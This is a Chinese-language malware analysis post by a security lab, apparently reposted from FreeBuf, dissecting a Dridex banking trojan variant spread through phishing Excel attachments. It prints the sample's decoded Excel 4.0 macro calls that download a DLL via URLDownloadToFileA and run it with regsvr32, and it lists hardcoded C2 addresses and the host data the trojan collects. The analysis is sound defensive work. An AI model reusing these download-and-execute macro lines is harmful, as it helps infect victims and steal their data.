Dridex木马新变种来袭,小心来历不明的邮件!

2020-10-12 10:53:129959人阅读

背景概述

网络安全宣传的时候经常都会强调不要随意打开来历不明的邮件或者文件,这又是为什么呢?

因为很多时候一些木马病毒的入侵就是通过钓鱼邮件来进行的,深信服安全团队近期捕获的Dridex木马病毒新变种就是通过这种入侵方式来入侵受害者系统并窃取信息。

Dridex是目前全球活跃且技术比较先进的银行木马之一,其又被称为BUGAT和Cridex,主要目的是从受感染机器的用户那里窃取网上银行和系统信息,进行欺诈性交易,该病毒样本会安装键盘侦听器并执行注入攻击。

Dridex的目标用户是Windows用户,通过诱导用户打开钓鱼邮件附件中的Excel文档,导致宏激活并下载Dridex,从而感染计算机并窃取用户信息。

样本信息

病毒名Dridex Trojan Variant
MD536d6caa7639fa761ec5408b1cdc8cad7
SHA256519312A969094294202A2EBE197BB4C563BA506FFFBD45000F0F9CC2923695CE
样本类型Microsoft Excel 2007+
恶意类型

Dridex

1600313317_5f62d7e51c6632f98f5e8.jpg

入侵流程图:

1600313343_5f62d7ff87e1950d5ca25.jpg

详细分析

这个样本主要通过钓鱼的方式,伪装成带有伪造文件的Excel电子邮件,如果双击附件,Microsoft Office Excel会打开它;

1600313389_5f62d82d13a2fccc01b1e.jpg

查看我们的文件需要去打开宏,但是宏可用于加载其他恶意程序,所以对于一个未知的excel文档来讲,启用宏和打开未知的exe文件一样危险。

如果这个excel含有vba代码:

1、可以点击All-Open and pay 来执行恶意的VBA代码;

2、点击事件的按钮,来触发布局事件(Layout);

查看一下VBA代码:

1600313414_5f62d8461c371ddf7e231.jpg

发现会弹出警告的消息,VBA被隐藏了,可以尝试用EvilClippy去除隐藏属性,安装相应的组件mono。

*EvilClippy介绍:EvilClippy的开源工具,EvilClippy是一款专用于创建恶意MS Office测试文档的跨平台安全工具,它可以隐藏VBA宏和VBA代码,并且可以对宏代码进行混淆处理以增加宏分析工具的分析难度。当前版本的EvilClippy支持在Linux、macOS和Windows平台上运行,实现了跨平台特性。

解除保护:

EvilClippy.exe -uu macrofile.doc

1600313500_5f62d89c07127b9af0e21.jpg

直接解除保护查看:

1600313518_5f62d8aedb891bf1288a8.jpg

直接可以看到相应的代码:

1600313543_5f62d8c76776fb8df5729.jpg

1600313550_5f62d8ceeaf97d1b40def.jpg

可以大概知道A720-A1008有编码的URL列表,由于字体颜色是白色的,可以调整一下便于查看;

1600313584_5f62d8f070d777768cfe6.jpg

直接调试vbs代码:

1600313598_5f62d8fe26c8ff59eb04b.jpg

发现解码IF(ISNUMBER(SEARCH("do",GET.WORKSPACE(1))), ,CLOSE(TRUE)),

继续下断调试;

1600313610_5f62d90abfae6e4478b8e.jpg

CALL("Kernel32","CreateDirectoryA","JCJ","C:\;",0)

1600313642_5f62d92a5d43b2cd22a6b.jpg

CALL("Kernel32","CreateDirectoryA","JCJ","C:\;'",0)

1600313655_5f62d937363417a19998f.jpg

CALL("URLMON","URLDownloadToFileA", "JJCCJJ",0,"X","C:\;'$.",0,0)

1600313665_5f62d94145d8e8d03556a.jpg

CALL("Shell32","ShellExecuteA", "JJCCCCJ",0,"Open","regsvr**"," -s C:\;'$.",0,0)

整理一下:

IF(ISNUMBER(SEARCH("do",GET.WORKSPACE(1))), ,CLOSE(TRUE))
CALL("Kernel32","CreateDirectoryA","JCJ","C:\;",0)
CALL("Kernel32","CreateDirectoryA","JCJ","C:\;\'",0)
CALL("URLMON","URLDownloadToFileA", "JJCCJJ",0,"X","C:\;\'\$.",0,0)
CALL("Shell32","ShellExecuteA", "JJCCCCJ",0,"Open","regsvr**"," -s C:\;\'\$.",0,0)

在URLDownloadToFileA开始下载东西;

1600313703_5f62d967eef0e626dc1e6.jpg

以上的过程是将随意的URL下载到本地的文件中去,文件名字随机,记录一下这几个网站然后去比较一下下载的dll文件MD5值,发现这几个文件的MD5值是一样的。

1600313723_5f62d97bd74011e6a69a0.jpg

可以看到变量是我们看到的文件夹,路径 C:\cEACqJVb\D6dpWrT\26bKqTf

1600313738_5f62d98a0f42371b4575e.jpg

最后可以看到使用一个命令 -s regsvr**下载文件,直接cmd process查看一下进程;

1600313751_5f62d9976269260403f77.jpg

1600313808_5f62d9d0499f533541d6b.jpg

查看process tree 可以知道利用了execl去作为Dridex下载器,病毒直接调用了dridex中的一个方法,regsvr**为了能够索引到xxx.dll后创建组件,调用了函数DllEntryPoint完成组件的注册。

1600313828_5f62d9e4f352859ea8d64.jpg

我们可以看到下载的文件也是一个dll的格式,符合上面的regsvr,尝试直接用od附加进行调试DLL,查看一下导出函数;

1600313874_5f62da12ecf984694eaa0.jpg

1600313884_5f62da1c662dae4a2dfe0.jpg

或者也可以直接用OD中的插件loaddll 直接调试。

直接bp LoadLibraryExW 找到那个dll文件(如果不知道断那个LoadLibrary可以ExW ExA A W都下断,f9进行分析);

1600313909_5f62da35ca9a22f790005.jpg

参数这里写我们的dll位置,定位查看;

1600313923_5f62da4320ed6e9e6d5d3.jpg

直接定位到位置后下断点,重新执行到该断点的位置,

1600313943_5f62da5789f61fac42224.jpg

可以直接停在这里分析,类似一个解压缩的过程,最后的地址加载到EAX中,进行跳转;

1600313957_5f62da655bc565d2a94e6.jpg

执行后,解密提取PE文件到可执行内存空间,类似于正常PE的拉伸的一个过程;

1600313971_5f62da7310b923b3907e5.jpg

发现以下可疑点:

1600314006_5f62da96a26a95688e42b.jpg

正常来说恢复现场应该是pop,但是这里用了push edx 加上 retn = jmp edx,相当于调用了Dridex核心的部分;

1600314047_5f62dabf6948ecb660b4e.jpg

每一个dll文件都会提供一个导出功能,这里regsvr**调用了GetProcAddress从Dridex中获取了export:DllRegisterServer,主要查找导出函数的地址,几乎所有的恶意操作都在DllRegisterServer中,相当于执行了恶意操作的主函数main;

1600314097_5f62daf1054cbd677ec19.jpg

在这个DllRegisterServer函数中,Dridex从终端获取信息,发送到一个服务器,它获取自身电脑的用户名和完整的计算机名,然后从注册表中读取Windows安装时间,将获取的信息放在一起,加密成MD5。

数据长度+计算机名称+ MD5值,他会获取我们计算机注册表中,所有已安装的软件注册表信息。

1600314131_5f62db1357088e41f2683.jpg

例如经常玩的wegame:

1600314164_5f62db3402e9293c90a84.jpg

用的一些工具wireshark:

1600314174_5f62db3e6bc18679d5559.jpg

1600314188_5f62db4cc61d6319265c1.jpg

1600314207_5f62db5f42d69e0abf9b3.jpg

1600314221_5f62db6d2b2aa3efd222c.jpg

1600314229_5f62db758e590bc91810e.jpg

*Roaming文件夹是用于存放一些使用程序后产生的数据文件。

1600314253_5f62db8d81d9a741daa3d.jpg

将收集到的信息传送到一个服务器上;

以下四个地址是硬编码写入的,用来发送收集到的终端数据资料。

31 39 39 2E 36 36 2E 39 30 2E 36 33 3A 34 34 33  199.66.90.63:443
35 31 2E 36 38 2E 32 32 34 2E 32 34 35 3A 34 36  51.68.224.245:46
38 35 2E 32 31 34 2E 32 36 2E 37 3A 33 33 38 39  85.214.26.7:3389
31 30 37 2E 31 37 35 2E 38 37 2E 31 35 30 3A 33 38 38 39  107.175.87.150:3889

总结

该恶意程序通过垃圾邮件进行分发,会对银行以及公司造成很严重的后果,虽然Dridex病毒很久没有大量出现,但是一旦感染,会导致计算机内大量的数据泄漏,所以我们也要去做好相应的防范措施,避免这种事情的发生。


本文转载自:FreeBuf.COM

作者:深信服千里目安全实验室

原文地址:https://www.freebuf.com/articles/system/250091.html

0
现金券
0
兑换券
立即领取
领取成功